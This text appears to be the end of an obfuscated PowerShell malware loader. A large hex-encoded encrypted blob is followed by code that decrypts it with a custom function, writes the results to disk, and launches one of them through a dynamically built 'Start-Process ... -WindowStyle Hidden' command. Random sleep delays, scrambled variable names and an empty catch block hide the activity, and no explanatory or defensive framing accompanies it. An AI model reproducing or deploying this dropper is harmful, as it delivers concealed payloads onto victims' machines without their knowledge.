248936f9ce259eca24bb2c0c077b3bd0823fd987ac3a88d30da3b76f1984a2e98423ca72962675db9ca5d3cc3e3d67100bc96a0962e90ad0bb958e71826fc5529feeb23fe2706c8497701de6f350550fc2d09a3a07af88319fea4a10548d156e6a7c5fe682b0b76846d2999a29c202863c369403293b203e7e393ac41172267a2521e22b81d7bbd24fdbb6d139b03b427c8f452f44f00b7de95f67337974ade29d1f833a528d7a9214bea9076e8ac3de14980cc31cc62d497c8db190914bcaef1cd5e8fd9cbaa2c2f9726d008e65d00fdf6a3196fd9b0ac1b9a2b7a281fa12317f2b4aa83772fe57e826d826b04cd8b937f954f102348b19fe891f1986704af12cb35a6ab1de75696adc914b67e7b65cc1a97c5a35df3a86b26c54f73a3b805e589b87826b6f1872c04af7a4d6b261471dbc943c51d89365efa9b9d44690775bc6fb0e159bc8981df20817544d6ff5ad9a1fa99374ee1420cda61f68d0eaa49f054f02c50cd570c7c1a647fdfe919f7955f4dd188295c230f4cbccfb1ef047eda3d808c54af742bb7e1a98cdcf02682099cefd1ebe00b0017919c2ec48ed161cf9f80bfc368b4e2b2073cafa41d751ae940a946d4eb21a62e2f8b01cd7a679153b04364bc9dddbf2cdcc64ee08e23a7b30a4efdf784e94a3f9c024673593f9a464e8aac00309be269aaeb449794e43c84b463323880490e8264905bfe2501af756e542a4a50f3f331c688b352031e355f5ac3315a9ca926d1b08c856328b589bb015f51536aafc7d67291d1551eaffad0f011d64162b7657bed9cba3a894ccfef7d8517d3d444f1a3ac7c28d2cb118231226f88272a8084278e5c7274096eb101dfc3101e752af3eb27be3379b82ce96883117c64c61bcefad8a5a4d1c7def322cd6cbeb48a9bf62138f370b5f3c2e39753d854da12747b0b1c3197a0683583f77d0e1edf49d8e447c1d7493a363bae1d11f29627a6e9a6087ccc14297de6341b6ec0a57c77e55da34c7b6860792e3bccdd316f259a26942c107c8c20fae8a46344ae764a8a13ca61eb7620d391496495541fedef69ae36954184e831bac37e80cfaac1f487d2bd111cd5aa806533c8c4aa279bb8c1849734d04f953258cfc7036f46d0d180f49aa45b12bd86c2bf83e97cf24ba1f3fdf6112765578c9c35cb577dde4302918a4ce6563b016a19b920be378e5d6d9f5f6e3d7552b5925ba255b7601e2d6ecf5eb69321c51c10e4164cba061610f4313d503adb7c26b99f6c802ef742e8455e24118efb571ac53778123fcaa00362c8b0f324b0219dd0a45c305fd0b1c36dff87eda63f12a33b8dbee963a4377b5c1ed9a485ac25d532f0ff351821e52476057cfc1dd0d10a5a0519334402fd7801fa4607d72c3b661ee25b142b58ddec62b5f4f9ce7839929c718bc6686fdfd69af4772d3e08f4b675ef846077dbe16d94ea5c568c661db47d3c40425c9aa8e739136b30dd19b83d58da2494215e67c02d7a427e5a8e7d987adbf7c0d205467f2b8c59f28994e8003deb64c682a066d9126e926bc5a4252713923dd5eb9bdc7be3a11be96a22dbe8793424d8d241d2a76a1c7536f2819dab5400fcacf715531f3dfb9d423d83de0d5090eeaa199848f49fbc3658be93a007075c8971194e11a731e86792b293634a5f74f760e06ce74e684552a4ac6324aae224b94c0da191ee92e9f8a09d234c6995e2ff74c0c102d03648d53c11990fd1d5a961c4f8336e2170941368dcc8f2c42f5df5053d672d82242587ba2ac491a92608ea56d94195b30cc5e3fc38b3e3779c6b4effbbba124a2a1cc8c6dfa7b84d9e07f8e25ba148044c0727380e5dd34102efed3e67e86b374d2a52b51fe62c17f4de813b7a22ad8b01a89a7209e5a669b937ffa3b6b31d54fa3766318f3697088f35dece8002683d382d993936095cb8ca240e7b5510a596a1fc0ed6182422f7e94fe7936da0d6b79364f17e724944c8bfc3661554aa9b640c443dd119eedfa37209c886629ac418dcd9ec036723e47cf5e4bec6fffc906cd9dee20aed84ad129e152cdfb8be3a4fe6e726209e424db9a6fd58015b3227cdbe68d6ddead62f3c97c223aba81ab315a1a2b3cdd5a2bc65da8f0efa85d798b4d5d1226b9afaa0b8a394c4dde1f7e392671629b08accc0359ae5fd0255e3c03398cf097fd912e6dce51edbe7765c59855b4970b2d90cd9e54ba6e9ab210970a349174fb53233c6b45c677c3ce7f592af277473b8c097f0763ee0a8f4715eb0b01d441317f498fa3731cfad29c1c8677614d37049e3274d77165ce975f2d3ae50355514d420a553db7a10cd16d2c8fe6f7f7595993c700e41d478aaa522248c9b129fa9e5dee3b971b335e0ea08f1df707590530a4dd3b6f5e5c6996f026ae4b2a0c80be508b7c26414db4f8848b56ac84a0f01a09d404c01368a698e1c7c8f8b6a819bdf9e541e9b273900155f559872a945f9ff5277bb82df238620459725c0f7075f9d17da1a900b2ac278a9d342f9ccbde64250ac6cc92143990a570aa2f513518909f9fc43b34462ce87d755b16395959d0a80cca13776f18f45d914870cf91057341311e2023a6a1398c230c96b68fec227a45d61ff5813c697d3046950f166ff82db3d3b32cdc377b2dfaf39b82929d09f26950238c1959e80e882af71cdf45f031fb04de18767d9942443ff31db6a6b8e38e6a04e5904e5d2fba81d553fe158ffb1f90e6deefddab93a6da3ac48a877443eee53ccc2021b822e2fd59827819f465848cd0d28192cca4ad17d1931a73cc87e6a44b983183350adcfc8b33bb65807b9e286c885ee8a8effd7f5e4e2778cdccff9cb53d151d6e182896a81c028b8db6d3670c95bf8a40787b051c5dfc7bfdb9b32d411b85d058b1750b6c3e24fbd96b15c3ccffb460c4e4598177b3430aece0b4b37a128a3cde4862fc57e818893bd3dd8399e702985cc63ef75e7ea5ea4f8967dc782a55f79c3dafe829b9308466888a08be22b0784fb85c961ccd0f55582fd83125be09c43049bc8deba2d7b35732fdf17a8dc7f476a3a2e1aa33fcef21fab326e1de309cb440ebb70eb14ea105ad89ca452b1af720f2e8a18943431e287d61f4f2f492245885ae39365f456e0de80c554963623524835d857c950c5a1ccf485a0621b7f58d9905ff03cc02a519ba5d54b1b3298d9db9c12dbab191cc45c845fc53e2b5ba33a9d34b3aa015c9c8705f55117fbe13cabf6ad60697a3226c089618d9f685e51c8de32aebd910dde87e01e3e249094c5a28ac51dd1fe077d2f882b0d7970b29d35ea1a38cee174f7b4e4a5acdf67b2489505005572d596a63295186f60dfade3bebb75b3a58d4444b17aec65426be25b13ff1518ff9ad7f43edcf1a4f99984a8db13776478b90ebf0fc65c6ed1b7a9939d193b7f243edc4abf8c75a1faedf764d210f6231c4be51979a4dea7f0fc316fc446f5a6b5a688b44a33340d9e7873bace0e0cf8dd3d2d70e5ab9e7d63ce1c1eb9c7055586324d2046a19bfca6e12c4983b42aad925f72475b336ba83bdb0d343dcf156c30463e213e8be23208f6b9748954c9ac6eab05f781545c7631ee8dfc51aff229dcbbdc90de5858319f1cfe475235f9b20eb5d72b20aa61d26873377beb2d05b3363091356c15574d67863e495458b5e2804ff55c78738d5d43cc83092e491bf36349375ba2edc778ad4c16eeb8c8fba587a897e6cffa218ad01b60fee4ebff17d0a6f51c47382d5a58cd963c8cbb1532116c8ad6cd739afdb347a5611755612dade739b936c71adbd69961217c303f3445da2af44705a0912a62033a8c7c835847931cd7d3a7e13e03b24f348d7893ae5d3797eb10dea3542adbbb747e88f8a1f7ee95395618f7c3238613e0b4946d39eb9caae3e47ad62e5d90d8c3ecec82203611dffdb5dab42f8c59fe16312aa38beb74697af0877325578dee8b80d69e1277841cbc11833ddea13daa3895fcdb4295b519dd89ee02740aae7843bb78e66d67ba5a22ddf7c7ab884e3b011dd1186857a6e74d2524f178f4c1f5b953803c63bc86b614cc1eb284b086c4c63a28826e6b29bcccea1a96465912a81b2b16f35ae45447d1528f80c7097e2b6539a9dd05013ba700d867e6c0ef1f94439ed58ad166095449afa03885bdb09c94d294b6a9b4a5013827ff7289b918768d415683f73634a7be633a2e334f64da2d7573118a931895f6515ed54a2fa593df692f66bc7199b44283a42847822decd29807f239011c86082237996c3433da0861982278f236817c67583858297361a7aff460de37f2559a729805610ea75e7b4957cbab50243e6e985f4bba0f99b41027d3620a652a613a13aeb533c104242d43bbfe8110c26b9f732f2025941dfc89e2fb6e917eda72813c6d7fbca070866236ee3dab49e7bb6ade301c6263d7c06e3793a1564c0d3b73c96ce6908f3007342c5a251b4999767125bf4507e9cb881622130d4377748b2f21b84862f1e277cb80111e53d5ee67a758d5fe3ee9f578f4137b0609ba8efdd746c208c75644b5664c4ab3df04b0adcf14cf50752c51db20f055085580c2e9b773265fcffaed953a0b9aff2860005a3905f86ce92b3c9bff517fb46f527e09380f597a07e957dbb344495453cf0d901b6f624e3ef83014dccdfc2dfadf321320a5b737e9881866baa8f80119104b51b8d73e2fd089a78d72759cd62eec1068218c205e9b5418f9082d3a277f038ec80f26f11d7114b40b4d2114273b0d006fe59ef434982151da5c84a07a167e264fb7a00c5a2ddfa29143074c1263828c61126d05eba79b8da2ae1c2fa8caa6b185f36225e29fc12434ae6475cbea8b82d40548b8e5f9b14bd2b8d3dd8358a0e40a7a735232e059e1d8ca148bc72961a92d33c8ace357c12c072b25e68fbe033e2c23eeb8c77a8bb01a082ca119ec77b43bd3970f7fc0c5b17788d4b7f605b9bc1e3e1a642d6ef34e7de22e3f66a3c8f954d16930b39c407c300d0c80ccade9a46569b73f6cfce2bd7154906005cba96caf752030df8a7c9c73bdbf8eded116cac745c1c0c7744f449daa1a8ae252e1fb85afe1c6d281c2d6ea07e235fa0b62cd547cbc433fdf7b34f26b8192a63ebbbfea7b0db96c19d7e6fb97a00ff008a661b7d55fee3fe618cfa3352f8e2db230eb8730bb07e460add4ced5c1e1fc0fd9ac5713ddfce094b0d530277a6684c7e4dffea25162d4fb080f88c700f9136e9c226019749039cdea360a86fc7e84fda5a36fc99182e680a53d5cc1c52b2e7561b2430c12e04e7454a8075aa9251b703c620a113f55597e9e28192dbfbb51c81935e7ab3c4048e762bac4b29d1ecb7f83262b1e1e8f9c572e33c7f0fb886dd5a47f3c76c0f266854d453bad6fb35588f085c881e41b542ceeaea5babf9cc056fc46c75a71946abcc2c549dc36423b1f1d5ad8a291af482e19bf4c4ef9fd1b2367193715a9e4f8c346b1ce1671711aa05338c515446b890a75fffd7a88daa404d8df0a374a6b923f80bbb822499ef31a0fbec3825b91b1b51bce9f5fa3dca9682533cd33d186c434a3cd0f78ab41dd41a0687c923f6b155b175ce5714e95190f09b7220474c883e1007d0e76279246e94740957bc695b6a73cad0c1414dc874d900ad820e999a1a2d8746974d203b484b6e50a9c3b4fc57e975afb574648a877a6ffcf2d5e2bd96c2cded14ab2e7ee45c7cd054753743f26ebcb3d24b843d92635c75faf5c5ee1f09b3353988a616f3ccecf62975c70c9f0b3dd52c80981e92799bd09108c0c1547adba4ffc8aae38931978818afba324c57e9e4eacf71ebfa6e60c3d3e94ca644ac5a27f058eb2672089e7a2083f8b9bdf0e09019ffbc8b19b26c867db109c81c2958ecb29af1b2a3aead15e422c8ac67bbe7925c0bec71df62a4a1d42b8e1e87a5d09cb083cf890d734c8536f8be2c5967ea589ec9d937b53aed004574ce2b9b3108abf63b15254dd0f3189cb3338d4b7eef423f0919015d8ce5e69fc442427dc30ceb27bcb1c795132c5062b15b8af40c6922623662e6f36d453909d83790c6ccee4945d11eb774253e6dd93b92bb18206f0d21066fef01e4f1ca19a06e69cc02271ca04ec8f27e8a3c0114b3263468254f0513e4f73161f149a7adf441045070c06ba7dd89887ede2dfcfe3574d97e3b0e0d7d073158bb557684059f5c7882b9231bc02648b668e4018c1a8eb8d5d81d313c00108932225348935b519ab072d8327e6c2a03fbf15e533b00315114d195e28662b4e2f809bd849d84f1e41a0f08f52a3612180d6709379a266531e289965503f52860712b92c293e53551fd4e97d847df1ca9501025d0bcc0b1bbeb8ad0969678b9fcf36b1d91a84f09f356474037e2300160b61dbb2aa1ab0cc9b407b2c3c36db521741e601db139b02bba48183232f687e19b4fdd46d8b1abb763bfda08ae7369134480457f9fb4bfd190637227f9105e90c1495e5599b5b1f65c28485e60f4241b7eaaffed4d4fa55ef36358c6cbc52ffa8bcca95a23f57c12182818f9d1b148b3fbe28e11fe03fb0568238ca83b5f4e55a3a33e838d3ea58cf7da00a920c2c8508b8849c3ed2d7c59fde1a7e37367231cb9cb970b08e377920a39a4248a622439b06488eab3865c0e3d6a2e6370beb95d631276ee8373c214334ebf274324baf0b45f3773f1e6c815d18b3180c6068dda32b14b25b95e89e63121591e46849259ded68571d813907556f5959d95938a42a9750fb3b6d62e7a413632a5b0bb49e57e9c1e5f4e714cc07b456c255e74887570af111568b6474d1f880d3aaca1a5d30adf75cd6a0807eb537c46d1a87b51a7acba8363ef5546b1f85107046a7bdd8c55c7afb2356f642b290c347d300c2e00d0cdbb48559479ff12c5f8120d2923a4d89a8739f68dab14f6d182cf76a5e32e8c2a57c31ffb1fda6673ccd47854a72611cf59d958c223faa31cc8c006a2917612b16e244677ca1287c48d7cc3e1705791b13daec75cc9074ad3a274f5a1682b148b36a77e8c7a5a842f66e71406c3cfc11146a77b5ca832165cb592b3602730fa47a62fcf7affdf62084d9dc32385a5ec132e4c0bbf34f4df5d47670895ac6016acc6f6909366fad5f4f4e96f1052469834294dd6f5a4583662da1c9a8cd9ec320315a73aa73d5ce105871fa81bb424e762e00df4c848cd680d286df1b8cb7f4ab44fce832cdee74158ad8309571b8e558d6e24660454b4802708f88f0f4096689e0b397e1b44309f0b9784e029fc4c176be722ac9ff9a6296ed0f214497b801828e61718e3618939bdc04a5c8736105b4ceb40d850b514968b696fb86b292ae17949bdc48a692b0dfa52f36055ea5f4802432559f04e4e36387567bf52b06681b16a51d0542ec974d18cb9eecf54101dad3705b51b3c089b9494bdc823f58707fd0f36aafdcc6f2f1267d805cba8a8973b4f17d4f1ef065ff6d295504893e328ccc4413497ba0a29bccd9292f67771a2035191835804499d63a4ea8c1ca24f9b2e5e4be09ce327ea8b0341ec094f9bf9fa3a6d8340958b69930a0db70c81abb2b003c021e17749d470eb557fc05a9cbaa040446490a3009999e0683d0e0aecb1557bff6ebdd1f35562961281491d8f167629a2401d0b9501ff2302a6640adf50c5aa8923bbaedefef8a9159e5c531165dbdc388cc51256b0350993725f01f8c9662e81a6e9e2d0fef925c615dc61e9b5e356e78b3fd0f58e7f3594899b901e7a570212aa2d168504cd6a9afe53c4bf76e2939b3fadd102d54843306ddbe827522de945a8df9a21372b69725a555da51df981d3e7ede5aeae448e9c734499df7065b3e8f9b2390c97437ec8f7fe460c74d83dc5947b01e287bef21556dbcac7cbb6b7af0af3a4bae265fa31aacd672dcfdbf3bfc48ab340a0d58d4476fe3270d8f92b4f85e1c5654fb61ed2aee607981bf59e29dbc7b846c5ec1678448b0706030c6663a2d8f3a2d7e13f4908cca6cf9f959c990acbdcf40a09417f175bccb9ce551a4a52247023f1d400d5c52556b1be58be6df743c50e2e7a20ca86ddefcae31c281b142e517acf051f5b6df362423618f274626644f897a798101c57ac36f49dfd4541b26ceda68bbc25cfe60495baab3fc721e7699551549e2034ab2a10982d397563d2b347610ae0eddff658f9e3b210bb5f499d3ffd700606021412f1718de3543dfa8498716929fc47f4ddc4d835b8c329f03b49a71e44c4347c6e00540aa2fe9f305a89324b3a341d33d60a732c59801755647ac21f7806c7a220a984ebf93630968002b752b12aa493895d5d1bf31a206d05a07a272bec0176a0679a9b3d42e40bc5ebc0fa49555d1f9deee73ed184b2cc4b1ac8cfc67b685691ba9f5e01aa48a46a239959e377bfcdcdd3937d5cdb2af39492698609716743daa65adeced4ab986560c2a82c8e38da628a4a2c25bcfc429f1998914fef9aae848ea7d9e26791fdc44d4c1cd952f7aa250f674c5d5512f74cad139d7f06fde2be8def340d1f5bf1575f37eb57a4012eb569dfbb9d47b4c0eddeba1976d5551fde6d61f69f23945b7347bf21714ea23ace1c4d1ce08d84e3fc525a6a7968d3318ed702395de0fa5623bc41b829660e97b7eddb13e7578d138aadf6990a00ddd4031f26255343e76c3168c0be12f80128d58d5b7d84357fde1ebe0a86fb8e7780e6a2acdbed29cd9048c45e0909313e140bcbbf2502896546f4eb0ddc948c13da3b46b0fccb1a4ad1b6361ed11faf3fc8f35dc40543e22d23018cca2e0e9a5cbae776f360e4bc28a58cf79e331a506cec503da9827c40189786395df1d45f71de17aa0244bbb1100968eb170521b76cd723fc9cc1ff393229074f4013ac2c0d0eb50aa5b01697744fc37d74675262fc3ec20d06e5d280968b4dd102c7c769e85f185c8d1dbf42f1e4c209e6b6e088046bf29507e66ad0d1fc3f67e568f839dacb12a01fb0ce5c5b6b668b20cc8375159ef1906dda9acc4769d8131d658ce43d9bc0ccc6691fce797df2725f1e4d12e2d98f1498329ec10f8e9393a61cb3f9e12ef1f757027e47a90d2a16de36129a73e8a3d535aa68861b972c943818b994b6aa08a79e44d8d07e7a7da18aee8bf65d06dbe7261b1dbcb870b4d6e9442f1b7d22680147fcc21208bfe0a5c95e8c2993581c078373aea16c9ffa32455b1f69838357d4dc6ba912d838e34f801c
'@
    Start-Sleep -Milliseconds (Get-Random -Min 176 -Max 497)
    $mekbdtkv = New-Value885 -d $iyttmbpb -k $shsbujkh -i $zxcjpses
    if ($mekbdtkv) { 
        Start-Sleep -Milliseconds (Get-Random -Min 283 -Max 605)
        [System.IO.File]::WriteAllText($tcetmbqz, $mekbdtkv, [System.Text.Encoding]::UTF8) 
    }
    $ebqykeue = New-Value885 -d $lkyhhulc -k $shsbujkh -i $zxcjpses
    if ($ebqykeue) {
        Start-Sleep -Milliseconds (Get-Random -Min 188 -Max 695)
        [System.IO.File]::WriteAllText($bmtwzblm, $ebqykeue, [System.Text.Encoding]::UTF8)
        Start-Sleep -Milliseconds (Get-Random -Min 239 -Max 633)
        $cuhppxvx = $('Start-Process')
        $ctdfgftw = $('-FilePath')
        $ghbxeqlk = $('-WindowStyle')
        & ([scriptblock]::Create("$cuhppxvx $ctdfgftw '$rhdgleiv' -ArgumentList '$bmtwzblm' $ghbxeqlk Hidden"))
    }
} catch {}
exit 0